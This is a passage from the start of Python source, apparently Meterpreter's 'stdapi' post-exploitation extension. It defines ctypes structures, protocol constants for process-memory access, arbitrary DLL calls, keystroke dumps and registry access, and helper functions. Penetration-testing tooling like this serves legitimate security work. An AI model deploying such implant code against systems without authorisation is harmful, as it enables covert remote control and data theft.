import fnmatch
import getpass
import os
import platform
import re
import select
import shlex
import shutil
import socket
import struct
import subprocess
import sys
import time

try:
    import ctypes
    import ctypes.util
    has_ctypes = True
    has_windll = hasattr(ctypes, 'windll')
except ImportError:
    has_ctypes = False
    has_windll = False

try:
    import pty
    has_pty = True
except ImportError:
    has_pty = False

try:
    import pwd
    has_pwd = True
except ImportError:
    has_pwd = False

try:
    import termios
    has_termios = True
except ImportError:
    has_termios = False

try:
    import _winreg as winreg
    has_winreg = True
except ImportError:
    has_winreg = False

try:
    import winreg
    has_winreg = True
except ImportError:
    has_winreg = (has_winreg or False)

if sys.version_info[0] < 3:
    is_str = lambda obj: issubclass(obj.__class__, str)
    is_bytes = lambda obj: issubclass(obj.__class__, str)
    bytes = lambda *args: str(*args[:1])
    NULL_BYTE = '\x00'
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
    if isinstance(__builtins__, dict):
        is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
        str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    else:
        is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
        str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
    is_bytes = lambda obj: issubclass(obj.__class__, bytes)
    NULL_BYTE = bytes('\x00', 'UTF-8')
    long = int
    unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)

if has_ctypes:
    size_t = getattr(ctypes, 'c_uint' + str(ctypes.sizeof(ctypes.c_void_p) * 8))
    #
    # Windows Structures
    #
    class EVENTLOGRECORD(ctypes.Structure):
        _fields_ = [("Length", ctypes.c_uint32),
            ("Reserved", ctypes.c_uint32),
            ("RecordNumber", ctypes.c_uint32),
            ("TimeGenerated", ctypes.c_uint32),
            ("TimeWritten", ctypes.c_uint32),
            ("EventID", ctypes.c_uint32),
            ("EventType", ctypes.c_uint16),
            ("NumStrings", ctypes.c_uint16),
            ("EventCategory", ctypes.c_uint16),
            ("ReservedFlags", ctypes.c_uint16),
            ("ClosingRecordNumber", ctypes.c_uint32),
            ("StringOffset", ctypes.c_uint32),
            ("UserSidLength", ctypes.c_uint32),
            ("UserSidOffset", ctypes.c_uint32),
            ("DataLength", ctypes.c_uint32),
            ("DataOffset", ctypes.c_uint32)]

    class SOCKADDR(ctypes.Structure):
        _fields_ = [("sa_family", ctypes.c_ushort),
            ("sa_data", (ctypes.c_uint8 * 14))]

    class SOCKET_ADDRESS(ctypes.Structure):
        _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
            ("iSockaddrLength", ctypes.c_int)]

    class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
        _fields_ = [
            ("s", type(
                    '_s_IP_ADAPTER_UNICAST_ADDRESS',
                    (ctypes.Structure,),
                    dict(_fields_ = [
                        ("Length", ctypes.c_ulong),
                        ("Flags", ctypes.c_uint32)
                    ])
            )),
            ("Next", ctypes.c_void_p),
            ("Address", SOCKET_ADDRESS),
            ("PrefixOrigin", ctypes.c_uint32),
            ("SuffixOrigin", ctypes.c_uint32),
            ("DadState", ctypes.c_uint32),
            ("ValidLifetime", ctypes.c_ulong),
            ("PreferredLifetime", ctypes.c_ulong),
            ("LeaseLifetime", ctypes.c_ulong),
            ("OnLinkPrefixLength", ctypes.c_uint8)]

    class IP_ADAPTER_ADDRESSES(ctypes.Structure):
        _fields_ = [
            ("u", type(
                '_u_IP_ADAPTER_ADDRESSES',
                (ctypes.Union,),
                dict(_fields_ = [
                    ("Alignment", ctypes.c_ulonglong),
                    ("s", type(
                        '_s_IP_ADAPTER_ADDRESSES',
                        (ctypes.Structure,),
                        dict(_fields_ = [
                            ("Length", ctypes.c_ulong),
                            ("IfIndex", ctypes.c_uint32)
                        ])
                    ))
                ])
            )),
            ("Next", ctypes.c_void_p),
            ("AdapterName", ctypes.c_char_p),
            ("FirstUnicastAddress", ctypes.c_void_p),
            ("FirstAnycastAddress", ctypes.c_void_p),
            ("FirstMulticastAddress", ctypes.c_void_p),
            ("FirstDnsServerAddress", ctypes.c_void_p),
            ("DnsSuffix", ctypes.c_wchar_p),
            ("Description", ctypes.c_wchar_p),
            ("FriendlyName", ctypes.c_wchar_p),
            ("PhysicalAddress", (ctypes.c_uint8 * 8)),
            ("PhysicalAddressLength", ctypes.c_uint32),
            ("Flags", ctypes.c_uint32),
            ("Mtu", ctypes.c_uint32),
            ("IfType", ctypes.c_uint32),
            ("OperStatus", ctypes.c_uint32),
            ("Ipv6IfIndex", ctypes.c_uint32),
            ("ZoneIndices", (ctypes.c_uint32 * 16)),
            ("FirstPrefix", ctypes.c_void_p),
            ("TransmitLinkSpeed", ctypes.c_uint64),
            ("ReceiveLinkSpeed", ctypes.c_uint64),
            ("FirstWinsServerAddress", ctypes.c_void_p),
            ("FirstGatewayAddress", ctypes.c_void_p),
            ("Ipv4Metric", ctypes.c_ulong),
            ("Ipv6Metric", ctypes.c_ulong),
            ("Luid", ctypes.c_uint64),
            ("Dhcpv4Server", SOCKET_ADDRESS),
            ("CompartmentId", ctypes.c_uint32),
            ("NetworkGuid", (ctypes.c_uint8 * 16)),
            ("ConnectionType", ctypes.c_uint32),
            ("TunnelType", ctypes.c_uint32),
            ("Dhcpv6Server", SOCKET_ADDRESS),
            ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
            ("Dhcpv6ClientDuidLength", ctypes.c_ulong),
            ("Dhcpv6Iaid", ctypes.c_ulong),
            ("FirstDnsSuffix", ctypes.c_void_p)]

    class LASTINPUTINFO(ctypes.Structure):
        _fields_ = [("cbSize", ctypes.c_uint32),
            ("dwTime", ctypes.c_uint32)]

    class MIB_IFROW(ctypes.Structure):
        _fields_ = [("wszName", (ctypes.c_wchar * 256)),
            ("dwIndex", ctypes.c_uint32),
            ("dwType", ctypes.c_uint32),
            ("dwMtu", ctypes.c_uint32),
            ("dwSpeed", ctypes.c_uint32),
            ("dwPhysAddrLen", ctypes.c_uint32),
            ("bPhysAddr", (ctypes.c_uint8 * 8)),
            ("dwAdminStatus", ctypes.c_uint32),
            ("dwOperStaus", ctypes.c_uint32),
            ("dwLastChange", ctypes.c_uint32),
            ("dwInOctets", ctypes.c_uint32),
            ("dwInUcastPkts", ctypes.c_uint32),
            ("dwInNUcastPkts", ctypes.c_uint32),
            ("dwInDiscards", ctypes.c_uint32),
            ("dwInErrors", ctypes.c_uint32),
            ("dwInUnknownProtos", ctypes.c_uint32),
            ("dwOutOctets", ctypes.c_uint32),
            ("dwOutUcastPkts", ctypes.c_uint32),
            ("dwOutNUcastPkts", ctypes.c_uint32),
            ("dwOutDiscards", ctypes.c_uint32),
            ("dwOutErrors", ctypes.c_uint32),
            ("dwOutQLen", ctypes.c_uint32),
            ("dwDescrLen", ctypes.c_uint32),
            ("bDescr", (ctypes.c_char * 256))]

    class MIB_IPADDRROW(ctypes.Structure):
        _fields_ = [("dwAddr", ctypes.c_uint32),
            ("dwIndex", ctypes.c_uint32),
            ("dwMask", ctypes.c_uint32),
            ("dwBCastAddr", ctypes.c_uint32),
            ("dwReasmSize", ctypes.c_uint32),
            ("unused1", ctypes.c_uint16),
            ("wType", ctypes.c_uint16)]

    class OSVERSIONINFOEXW(ctypes.Structure):
        _fields_ = [("dwOSVersionInfoSize", ctypes.c_uint32),
            ("dwMajorVersion", ctypes.c_uint32),
            ("dwMinorVersion", ctypes.c_uint32),
            ("dwBuildNumber", ctypes.c_uint32),
            ("dwPlatformId", ctypes.c_uint32),
            ("szCSDVersion", (ctypes.c_wchar * 128)),
            ("wServicePackMajor", ctypes.c_uint16),
            ("wServicePackMinor", ctypes.c_uint16),
            ("wSuiteMask", ctypes.c_uint16),
            ("wProductType", ctypes.c_uint8),
            ("wReserved", ctypes.c_uint8)]

    class PROCESSENTRY32(ctypes.Structure):
        _fields_ = [("dwSize", ctypes.c_uint32),
            ("cntUsage", ctypes.c_uint32),
            ("th32ProcessID", ctypes.c_uint32),
            ("th32DefaultHeapID", ctypes.c_void_p),
            ("th32ModuleID", ctypes.c_uint32),
            ("cntThreads", ctypes.c_uint32),
            ("th32ParentProcessID", ctypes.c_uint32),
            ("thPriClassBase", ctypes.c_int32),
            ("dwFlags", ctypes.c_uint32),
            ("szExeFile", (ctypes.c_char * 260))]

    class SID_AND_ATTRIBUTES(ctypes.Structure):
        _fields_ = [("Sid", ctypes.c_void_p),
            ("Attributes", ctypes.c_uint32)]

    class SYSTEM_INFO(ctypes.Structure):
        _fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
            ("wReserved", ctypes.c_uint16),
            ("dwPageSize", ctypes.c_uint32),
            ("lpMinimumApplicationAddress", ctypes.c_void_p),
            ("lpMaximumApplicationAddress", ctypes.c_void_p),
            ("dwActiveProcessorMask", ctypes.c_uint32),
            ("dwNumberOfProcessors", ctypes.c_uint32),
            ("dwProcessorType", ctypes.c_uint32),
            ("dwAllocationGranularity", ctypes.c_uint32),
            ("wProcessorLevel", ctypes.c_uint16),
            ("wProcessorRevision", ctypes.c_uint16)]

    class TOKEN_USER(ctypes.Structure):
        _fields_ = [("User", SID_AND_ATTRIBUTES)]

    class UNIVERSAL_NAME_INFO(ctypes.Structure):
        _fields_ = [("lpUniversalName", ctypes.c_wchar_p)]

    class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
        _fields_ = [("fAutoDetect", ctypes.c_int8),
            ("lpszAutoConfigUrl", ctypes.c_wchar_p),
            ("lpszProxy", ctypes.c_wchar_p),
            ("lpszProxyBypass", ctypes.c_wchar_p)]

    #
    # Linux Structures
    #
    class IFADDRMSG(ctypes.Structure):
        _fields_ = [("family", ctypes.c_uint8),
            ("prefixlen", ctypes.c_uint8),
            ("flags", ctypes.c_uint8),
            ("scope", ctypes.c_uint8),
            ("index", ctypes.c_int32)]

    class IFINFOMSG(ctypes.Structure):
        _fields_ = [("family", ctypes.c_uint8),
            ("pad", ctypes.c_int8),
            ("type", ctypes.c_uint16),
            ("index", ctypes.c_int32),
            ("flags", ctypes.c_uint32),
            ("chagen", ctypes.c_uint32)]

    class IOVEC(ctypes.Structure):
        _fields_ = [("iov_base", ctypes.c_void_p),
            ("iov_len", size_t)]

    class NLMSGHDR(ctypes.Structure):
        _fields_ = [("len", ctypes.c_uint32),
            ("type", ctypes.c_uint16),
            ("flags", ctypes.c_uint16),
            ("seq", ctypes.c_uint32),
            ("pid", ctypes.c_uint32)]

    class RTATTR(ctypes.Structure):
        _fields_ = [("len", ctypes.c_uint16),
            ("type", ctypes.c_uint16)]

TLV_EXTENSIONS           = 20000
#
# TLV Meta Types
#
TLV_META_TYPE_NONE       = (   0   )
TLV_META_TYPE_STRING     = (1 << 16)
TLV_META_TYPE_UINT       = (1 << 17)
TLV_META_TYPE_RAW        = (1 << 18)
TLV_META_TYPE_BOOL       = (1 << 19)
TLV_META_TYPE_QWORD      = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP      = (1 << 30)
TLV_META_TYPE_COMPLEX    = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)

#
# TLV Specific Types
#
TLV_TYPE_ANY                   = TLV_META_TYPE_NONE    | 0
TLV_TYPE_METHOD                = TLV_META_TYPE_STRING  | 1
TLV_TYPE_REQUEST_ID            = TLV_META_TYPE_STRING  | 2
TLV_TYPE_EXCEPTION             = TLV_META_TYPE_GROUP   | 3
TLV_TYPE_RESULT                = TLV_META_TYPE_UINT    | 4

TLV_TYPE_STRING                = TLV_META_TYPE_STRING  | 10
TLV_TYPE_UINT                  = TLV_META_TYPE_UINT    | 11
TLV_TYPE_BOOL                  = TLV_META_TYPE_BOOL    | 12

TLV_TYPE_LENGTH                = TLV_META_TYPE_UINT    | 25
TLV_TYPE_DATA                  = TLV_META_TYPE_RAW     | 26
TLV_TYPE_FLAGS                 = TLV_META_TYPE_UINT    | 27

TLV_TYPE_CHANNEL_ID            = TLV_META_TYPE_UINT    | 50
TLV_TYPE_CHANNEL_TYPE          = TLV_META_TYPE_STRING  | 51
TLV_TYPE_CHANNEL_DATA          = TLV_META_TYPE_RAW     | 52
TLV_TYPE_CHANNEL_DATA_GROUP    = TLV_META_TYPE_GROUP   | 53
TLV_TYPE_CHANNEL_CLASS         = TLV_META_TYPE_UINT    | 54

##
# General
##
TLV_TYPE_HANDLE                = TLV_META_TYPE_QWORD   | 600
TLV_TYPE_INHERIT               = TLV_META_TYPE_BOOL    | 601
TLV_TYPE_PROCESS_HANDLE        = TLV_META_TYPE_QWORD   | 630
TLV_TYPE_THREAD_HANDLE         = TLV_META_TYPE_QWORD   | 631

##
# Fs
##
TLV_TYPE_DIRECTORY_PATH        = TLV_META_TYPE_STRING  | 1200
TLV_TYPE_FILE_NAME             = TLV_META_TYPE_STRING  | 1201
TLV_TYPE_FILE_PATH             = TLV_META_TYPE_STRING  | 1202
TLV_TYPE_FILE_MODE             = TLV_META_TYPE_STRING  | 1203
TLV_TYPE_FILE_SIZE             = TLV_META_TYPE_UINT    | 1204
TLV_TYPE_FILE_HASH             = TLV_META_TYPE_RAW     | 1206

TLV_TYPE_MOUNT_GROUP           = TLV_META_TYPE_GROUP   | 1207
TLV_TYPE_MOUNT_NAME            = TLV_META_TYPE_STRING  | 1208
TLV_TYPE_MOUNT_TYPE            = TLV_META_TYPE_UINT    | 1209
TLV_TYPE_MOUNT_SPACE_USER      = TLV_META_TYPE_QWORD   | 1210
TLV_TYPE_MOUNT_SPACE_TOTAL     = TLV_META_TYPE_QWORD   | 1211
TLV_TYPE_MOUNT_SPACE_FREE      = TLV_META_TYPE_QWORD   | 1212
TLV_TYPE_MOUNT_UNCPATH         = TLV_META_TYPE_STRING  | 1213

TLV_TYPE_STAT_BUF              = TLV_META_TYPE_COMPLEX | 1220

TLV_TYPE_SEARCH_RECURSE        = TLV_META_TYPE_BOOL    | 1230
TLV_TYPE_SEARCH_GLOB           = TLV_META_TYPE_STRING  | 1231
TLV_TYPE_SEARCH_ROOT           = TLV_META_TYPE_STRING  | 1232
TLV_TYPE_SEARCH_RESULTS        = TLV_META_TYPE_GROUP   | 1233

TLV_TYPE_FILE_MODE_T           = TLV_META_TYPE_UINT    | 1234

##
# Net
##
TLV_TYPE_HOST_NAME             = TLV_META_TYPE_STRING  | 1400
TLV_TYPE_PORT                  = TLV_META_TYPE_UINT    | 1401
TLV_TYPE_INTERFACE_MTU         = TLV_META_TYPE_UINT    | 1402
TLV_TYPE_INTERFACE_FLAGS       = TLV_META_TYPE_STRING  | 1403
TLV_TYPE_INTERFACE_INDEX       = TLV_META_TYPE_UINT    | 1404

TLV_TYPE_SUBNET                = TLV_META_TYPE_RAW     | 1420
TLV_TYPE_NETMASK               = TLV_META_TYPE_RAW     | 1421
TLV_TYPE_GATEWAY               = TLV_META_TYPE_RAW     | 1422
TLV_TYPE_NETWORK_ROUTE         = TLV_META_TYPE_GROUP   | 1423
TLV_TYPE_IP_PREFIX             = TLV_META_TYPE_UINT    | 1424

TLV_TYPE_IP                    = TLV_META_TYPE_RAW     | 1430
TLV_TYPE_MAC_ADDRESS           = TLV_META_TYPE_RAW     | 1431
TLV_TYPE_MAC_NAME              = TLV_META_TYPE_STRING  | 1432
TLV_TYPE_NETWORK_INTERFACE     = TLV_META_TYPE_GROUP   | 1433
TLV_TYPE_IP6_SCOPE             = TLV_META_TYPE_RAW     | 1434

TLV_TYPE_SUBNET_STRING         = TLV_META_TYPE_STRING  | 1440
TLV_TYPE_NETMASK_STRING        = TLV_META_TYPE_STRING  | 1441
TLV_TYPE_GATEWAY_STRING        = TLV_META_TYPE_STRING  | 1442
TLV_TYPE_ROUTE_METRIC          = TLV_META_TYPE_UINT    | 1443
TLV_TYPE_ADDR_TYPE             = TLV_META_TYPE_UINT    | 1444

##
# Proxy configuration
##
TLV_TYPE_PROXY_CFG_AUTODETECT    = TLV_META_TYPE_BOOL    | 1445
TLV_TYPE_PROXY_CFG_AUTOCONFIGURL = TLV_META_TYPE_STRING  | 1446
TLV_TYPE_PROXY_CFG_PROXY         = TLV_META_TYPE_STRING  | 1447
TLV_TYPE_PROXY_CFG_PROXYBYPASS   = TLV_META_TYPE_STRING  | 1448

##
# Socket
##
TLV_TYPE_PEER_HOST             = TLV_META_TYPE_STRING  | 1500
TLV_TYPE_PEER_PORT             = TLV_META_TYPE_UINT    | 1501
TLV_TYPE_LOCAL_HOST            = TLV_META_TYPE_STRING  | 1502
TLV_TYPE_LOCAL_PORT            = TLV_META_TYPE_UINT    | 1503
TLV_TYPE_CONNECT_RETRIES       = TLV_META_TYPE_UINT    | 1504

TLV_TYPE_SHUTDOWN_HOW          = TLV_META_TYPE_UINT    | 1530

##
# Railgun
##
TLV_TYPE_EXTENSION_RAILGUN             = 0
TLV_TYPE_RAILGUN_SIZE_OUT              = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1)
TLV_TYPE_RAILGUN_STACKBLOB             = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2)
TLV_TYPE_RAILGUN_BUFFERBLOB_IN         = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3)
TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT      = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4)
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT   = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 5)
TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 6)
TLV_TYPE_RAILGUN_BACK_RET              = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 7)
TLV_TYPE_RAILGUN_BACK_ERR              = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 8)
TLV_TYPE_RAILGUN_DLLNAME               = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 9)
TLV_TYPE_RAILGUN_FUNCNAME              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 10)
TLV_TYPE_RAILGUN_MULTI_GROUP           = TLV_META_TYPE_GROUP  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 11)
TLV_TYPE_RAILGUN_MEM_ADDRESS           = TLV_META_TYPE_QWORD  | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 12)
TLV_TYPE_RAILGUN_MEM_DATA              = TLV_META_TYPE_RAW    | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 13)
TLV_TYPE_RAILGUN_MEM_LENGTH            = TLV_META_TYPE_UINT   | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 14)
TLV_TYPE_RAILGUN_CALLCONV              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 15)
TLV_TYPE_RAILGUN_BACK_MSG              = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 16)

##
# Registry
##
TLV_TYPE_HKEY                  = TLV_META_TYPE_QWORD   | 1000
TLV_TYPE_ROOT_KEY              = TLV_TYPE_HKEY
TLV_TYPE_BASE_KEY              = TLV_META_TYPE_STRING  | 1001
TLV_TYPE_PERMISSION            = TLV_META_TYPE_UINT    | 1002
TLV_TYPE_KEY_NAME              = TLV_META_TYPE_STRING  | 1003
TLV_TYPE_VALUE_NAME            = TLV_META_TYPE_STRING  | 1010
TLV_TYPE_VALUE_TYPE            = TLV_META_TYPE_UINT    | 1011
TLV_TYPE_VALUE_DATA            = TLV_META_TYPE_RAW     | 1012
TLV_TYPE_TARGET_HOST           = TLV_META_TYPE_STRING  | 1013

##
# Config
##
TLV_TYPE_COMPUTER_NAME         = TLV_META_TYPE_STRING  | 1040
TLV_TYPE_OS_NAME               = TLV_META_TYPE_STRING  | 1041
TLV_TYPE_USER_NAME             = TLV_META_TYPE_STRING  | 1042
TLV_TYPE_ARCHITECTURE          = TLV_META_TYPE_STRING  | 1043
TLV_TYPE_LANG_SYSTEM           = TLV_META_TYPE_STRING  | 1044
TLV_TYPE_SID                   = TLV_META_TYPE_STRING  | 1045
TLV_TYPE_LOCAL_DATETIME        = TLV_META_TYPE_STRING  | 1048

##
# Environment
##
TLV_TYPE_ENV_VARIABLE          = TLV_META_TYPE_STRING  | 1100
TLV_TYPE_ENV_VALUE             = TLV_META_TYPE_STRING  | 1101
TLV_TYPE_ENV_GROUP             = TLV_META_TYPE_GROUP   | 1102

DELETE_KEY_FLAG_RECURSIVE = (1 << 0)

##
# Process
##
TLV_TYPE_BASE_ADDRESS          = TLV_META_TYPE_QWORD   | 2000
TLV_TYPE_ALLOCATION_TYPE       = TLV_META_TYPE_UINT    | 2001
TLV_TYPE_PROTECTION            = TLV_META_TYPE_UINT    | 2002
TLV_TYPE_PROCESS_PERMS         = TLV_META_TYPE_UINT    | 2003
TLV_TYPE_PROCESS_MEMORY        = TLV_META_TYPE_RAW     | 2004
TLV_TYPE_ALLOC_BASE_ADDRESS    = TLV_META_TYPE_QWORD   | 2005
TLV_TYPE_MEMORY_STATE          = TLV_META_TYPE_UINT    | 2006
TLV_TYPE_MEMORY_TYPE           = TLV_META_TYPE_UINT    | 2007
TLV_TYPE_ALLOC_PROTECTION      = TLV_META_TYPE_UINT    | 2008
TLV_TYPE_PID                   = TLV_META_TYPE_UINT    | 2300
TLV_TYPE_PROCESS_NAME          = TLV_META_TYPE_STRING  | 2301
TLV_TYPE_PROCESS_PATH          = TLV_META_TYPE_STRING  | 2302
TLV_TYPE_PROCESS_GROUP         = TLV_META_TYPE_GROUP   | 2303
TLV_TYPE_PROCESS_FLAGS         = TLV_META_TYPE_UINT    | 2304
TLV_TYPE_PROCESS_ARGUMENTS     = TLV_META_TYPE_STRING  | 2305
TLV_TYPE_PROCESS_ARCH          = TLV_META_TYPE_UINT    | 2306
TLV_TYPE_PARENT_PID            = TLV_META_TYPE_UINT    | 2307

TLV_TYPE_IMAGE_FILE            = TLV_META_TYPE_STRING  | 2400
TLV_TYPE_IMAGE_FILE_PATH       = TLV_META_TYPE_STRING  | 2401
TLV_TYPE_PROCEDURE_NAME        = TLV_META_TYPE_STRING  | 2402
TLV_TYPE_PROCEDURE_ADDRESS     = TLV_META_TYPE_QWORD   | 2403
TLV_TYPE_IMAGE_BASE            = TLV_META_TYPE_QWORD   | 2404
TLV_TYPE_IMAGE_GROUP           = TLV_META_TYPE_GROUP   | 2405
TLV_TYPE_IMAGE_NAME            = TLV_META_TYPE_STRING  | 2406

TLV_TYPE_THREAD_ID             = TLV_META_TYPE_UINT    | 2500
TLV_TYPE_THREAD_PERMS          = TLV_META_TYPE_UINT    | 2502
TLV_TYPE_EXIT_CODE             = TLV_META_TYPE_UINT    | 2510
TLV_TYPE_ENTRY_POINT           = TLV_META_TYPE_QWORD   | 2511
TLV_TYPE_ENTRY_PARAMETER       = TLV_META_TYPE_QWORD   | 2512
TLV_TYPE_CREATION_FLAGS        = TLV_META_TYPE_UINT    | 2513

TLV_TYPE_REGISTER_NAME         = TLV_META_TYPE_STRING  | 2540
TLV_TYPE_REGISTER_SIZE         = TLV_META_TYPE_UINT    | 2541
TLV_TYPE_REGISTER_VALUE_32     = TLV_META_TYPE_UINT    | 2542
TLV_TYPE_REGISTER              = TLV_META_TYPE_GROUP   | 2550

##
# Ui
##
TLV_TYPE_IDLE_TIME             = TLV_META_TYPE_UINT    | 3000
TLV_TYPE_KEYS_DUMP             = TLV_META_TYPE_STRING  | 3001
TLV_TYPE_DESKTOP               = TLV_META_TYPE_STRING  | 3002

##
# Event Log
##
TLV_TYPE_EVENT_SOURCENAME      = TLV_META_TYPE_STRING  | 4000
TLV_TYPE_EVENT_HANDLE          = TLV_META_TYPE_QWORD   | 4001
TLV_TYPE_EVENT_NUMRECORDS      = TLV_META_TYPE_UINT    | 4002

TLV_TYPE_EVENT_READFLAGS       = TLV_META_TYPE_UINT    | 4003
TLV_TYPE_EVENT_RECORDOFFSET    = TLV_META_TYPE_UINT    | 4004

TLV_TYPE_EVENT_RECORDNUMBER    = TLV_META_TYPE_UINT    | 4006
TLV_TYPE_EVENT_TIMEGENERATED   = TLV_META_TYPE_UINT    | 4007
TLV_TYPE_EVENT_TIMEWRITTEN     = TLV_META_TYPE_UINT    | 4008
TLV_TYPE_EVENT_ID              = TLV_META_TYPE_UINT    | 4009
TLV_TYPE_EVENT_TYPE            = TLV_META_TYPE_UINT    | 4010
TLV_TYPE_EVENT_CATEGORY        = TLV_META_TYPE_UINT    | 4011
TLV_TYPE_EVENT_STRING          = TLV_META_TYPE_STRING  | 4012
TLV_TYPE_EVENT_DATA            = TLV_META_TYPE_RAW     | 4013

##
# Power
##
TLV_TYPE_POWER_FLAGS           = TLV_META_TYPE_UINT    | 4100
TLV_TYPE_POWER_REASON          = TLV_META_TYPE_UINT    | 4101

##
# Sys
##
PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)

PROCESS_ARCH_UNKNOWN = 0
PROCESS_ARCH_X86 = 1
PROCESS_ARCH_X64 = 2
PROCESS_ARCH_IA64 = 3

##
# Errors
##
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1

# Special return value to match up with Windows error codes for network
# errors.
ERROR_CONNECTION_ERROR = 10000

# Windows Constants
GAA_FLAG_SKIP_ANYCAST             = 0x0002
GAA_FLAG_SKIP_MULTICAST           = 0x0004
GAA_FLAG_INCLUDE_PREFIX           = 0x0010
GAA_FLAG_SKIP_DNS_SERVER          = 0x0080
LOCALE_SISO639LANGNAME            = 0x0059
LOCALE_SISO3166CTRYNAME           = 0x005A
PROCESS_TERMINATE                 = 0x0001
PROCESS_VM_READ                   = 0x0010
PROCESS_QUERY_INFORMATION         = 0x0400
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
VER_NT_WORKSTATION                = 0x0001
VER_NT_DOMAIN_CONTROLLER          = 0x0002
VER_NT_SERVER                     = 0x0003
VER_PLATFORM_WIN32s               = 0x0000
VER_PLATFORM_WIN32_WINDOWS        = 0x0001
VER_PLATFORM_WIN32_NT             = 0x0002

WIN_AF_INET  = 2
WIN_AF_INET6 = 23

UNIVERSAL_NAME_INFO_LEVEL = 1

DRIVE_REMOTE = 4

# Linux Constants
RTM_GETLINK   = 18
RTM_GETADDR   = 22
RTM_GETROUTE  = 26

IFLA_ADDRESS   = 1
IFLA_BROADCAST = 2
IFLA_IFNAME    = 3
IFLA_MTU       = 4

IFA_ADDRESS    = 1
IFA_LABEL      = 3

meterpreter.register_extension('stdapi')

# Meterpreter register function decorators
register_function = meterpreter.register_function
def register_function_if(condition):
    if condition:
        return meterpreter.register_function
    else:
        return lambda function: function

def byref_at(obj, offset=0):
    address = ctypes.addressof(obj) + offset
    return ctypes.pointer(type(obj).from_address(address))

def bytes_to_ctarray(bytes_):
    ctarray = (ctypes.c_byte * len(bytes_))()
    ctypes.memmove(ctypes.byref(ctarray), bytes_, len(bytes_))
    return ctarray

def ctarray_to_bytes(ctarray):
    if not len(ctarray):
        # work around a bug in v3.1 & v3.2 that results in a segfault when len(ctarray) == 0
        return bytes()
    bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray)
    return bytes_[:]

def calculate_32bit_netmask(bits):
    if bits == 32:
        netmask = 0xffffffff
    else:
        netmask = ((0xffffffff << (32 - (bits % 32))) & 0xffffffff)
    return struct.pack('!I', netmask)

def calculate_128bit_netmask(bits):
    part = calculate_32bit_netmask(bits)
    part = struct.unpack('!I', part)[0]
    if bits >= 96:
        netmask = struct.pack('!iiiI', -1, -1, -1, part)
    elif bits >= 64:
        netmask = struct.pack('!iiII', -1, -1, part, 0)
    elif bits >= 32:
        netmask = struct.pack('!iIII', -1, part, 0, 0)
    else:
        netmask = struct.pack('!IIII', part, 0, 0, 0)
    return netmask

def cstruct_unpack(structure, raw_data):
    if not isinstance(structure, ctypes.Structure):
        structure = structure()
    ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
    return structure

def get_stat_buffer(path):
    si = os.stat(path)
    rdev = 0
    if hasattr(si, 'st_rdev'):
        rdev = si.st_rdev
    blksize = 0
    if hasattr(si, 'st_blksize'):
        blksize = si.st_blksize
    blocks = 0
    if hasattr(si, 'st_blocks'):
        blocks = si.st_blocks
    st_buf = struct.pack('<IHHH', si.st_dev, max(min(0xffff, si.st_ino), 0), si.st_mode, si.st_nlink)
    st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
    st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
    st_buf += struct.pack('<II', blksize, blocks)
    return st_buf

def get_token_user(handle):
    TOKEN_QUERY = 0x0008
    TokenUser = 1
    advapi32 = ctypes.windll.advapi32
    advapi32.OpenProcessToken.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p)]

